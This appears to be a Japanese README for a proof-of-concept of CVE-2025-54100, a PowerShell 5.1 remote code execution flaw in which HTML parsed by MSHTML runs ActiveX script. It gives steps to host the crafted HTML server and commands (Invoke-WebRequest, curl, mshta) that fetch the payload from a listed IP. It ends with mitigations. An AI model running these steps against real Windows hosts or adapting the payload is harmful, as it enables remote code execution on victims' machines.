
CVE-2025-54100(PowerShell リモートコード実行の脆弱性)
CVE-2025-54100 が悪意のある HTML 解析を介して Windows PowerShell 5.1 で リモートコード実行 (RCE) を引き起こすことを示します。
脆弱性の種類: Invoke-WebRequest が -UseBasicParsing パラメータを使用していない場合のコマンドインジェクションのリスク
深刻度: CVSS 7.8(高)
根本原因: MSHTML ベースの HTML 応答解析により、スクリプトの実行(例: ActiveXObject)が許可され、呼び出し元のコンテキストで実行されます
影響を受けるシステム:
CVE-2025-54100.py 内の FastAPI サーバーが細工された HTML ペイロードを返しますWScript.Shell / Shell.Application などの ActiveX オブジェクトのインスタンス化を試みますcalc.exe を起動してリモートコード実行をデモンストレーションしますpython3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
PoC HTTP サーバーを起動します:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
脆弱性のある Windows ホストで、-UseBasicParsing を使用せずに、次のコマンドを実行します:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl(PowerShell 中的别名)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
ポートがサーバー構成と一致していることを確認してください。 システムに脆弱性がある場合、埋め込まれたスクリプトは MSHTML パーサーによって実行されます。
注意:一部のアンチウイルスソフトウェアは、解析の脆弱性自体が存在していても、この動作をブロックする可能性があります。
calc.exe が表示されない場合:
-UseBasicParsing を使用しない Invoke-WebRequest を再度実行しますこの手順は実行ベクトルを検証するためのものです。実際の攻撃シナリオでは、攻撃者はデフォルトのセキュリティ制限を回避するために難読化やバイパス技術を使用する可能性があります。

マイクロソフトは 2025 年 12 月 にこの脆弱性を修正しました:
Windows セキュリティ更新プログラムを速やかにインストールする
常に -UseBasicParsing を使用して、MSHTML 解析を回避します:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
PowerShell 7+(pwsh)に移行する。PowerShell Core は解析に MSHTML に依存しないため、アーキテクチャ上この問題を回避できます。